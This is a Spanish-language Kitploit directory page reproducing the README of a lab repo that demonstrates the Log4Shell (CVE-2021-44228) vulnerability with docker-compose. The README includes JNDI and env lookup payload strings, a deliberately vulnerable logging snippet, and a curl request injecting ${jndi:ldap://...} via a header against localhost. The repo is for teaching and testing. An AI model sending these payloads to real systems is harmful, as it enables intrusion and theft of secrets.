Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4j-cve-2021-44228-sample — Configuración de ejemplo de docker-compose para mostrar cómo funciona este exploit | Kitploit
Herramientas/GitHubGitHub/alpacamybags118/log4j-cve-2021-44228-sample
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubalpacamybags118/log4j-cve-2021-44228-sample

log4j-cve-2021-44228-sample

Configuración de ejemplo de docker-compose para mostrar cómo funciona este exploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
2hace 4 añosAún no revisado

Ejemplo de exploit de log4j

Este repositorio contiene una muestra funcional del abuso del reciente exploit de log4j. No realiza una ejecución remota de código real, pero te muestra la facilidad con la que un actor malintencionado puede hacer que una aplicación vulnerable llame a su propio servidor ldap.

Esto usa la excelente aplicación vulnerable de ejemplo de log4j creada por christophetd: https://github.com/christophetd/log4shell-vulnerable-app

Explicación

Esta vulnerabilidad abusa de la funcionalidad lookup de log4j, especialmente de jndi, que permite a log4j realizar búsquedas desde hosts externos para obtener datos a introducir. Esto puede explotarse para hacer cualquier cosa, desde registrar variables sensibles del entorno hasta ejecutar código de forma remota.

Las búsquedas se realizan para cualquier texto envuelto en ${} cuando se llama al logger. Por ejemplo,

root@kitploit:~
${jndi:ldap://someldapserver:1389/o=example}

haría una búsqueda en ese servidor LDAP con la consulta dada y mostraría el resultado.

Un ejemplo más simple que no hace uso de jndi, pero que sigue siendo peligroso:

root@kitploit:~
${env:PASSWORD}

Esto imprimiría el contenido de esa variable de entorno en los registros. Alguien con acceso para ver esos registros podría extraer datos sensibles de la aplicación.

Código de log4j

El código en log4j para abusar de este exploit es bastante sencillo. Solo necesitas llamar al logger para registrar una propiedad de la solicitud sin sanitizar. Por ejemplo, podrías registrar el contenido de un User-Agent.

root@kitploit:~
...
@GetMapping("/bad")
	public void Bad(@RequestHeader("User-Agent") String userAgent) {
    logger.info("Received User-Agent header " + userAgent);
	}

Usando este ejemplo

Primero, construye el servidor ldap local:

root@kitploit:~
docker build -t ldapnode .

Una vez construido, levanta todo el stack ejecutando

root@kitploit:~
docker-compose up

Luego, puedes realizar una solicitud a la aplicación, usando la cabecera x-api-version para inyectar la búsqueda

root@kitploit:~
curl --request GET \
  --url http://localhost:8080/ \
  --header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'

Usando esa solicitud, verás en los registros de docker-compose que el servidor ldap ha sido llamado:

root@kitploit:~
bad_1    | ldap server has been called!
log4j_1  | 2021-12-14 02:43:11.657  INFO 1 --- [nio-8080-exec-2] HelloWorld                               : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c

Qué hacer si estás afectado

Consulta esta documentación para las vías de resolución

Descargar herramienta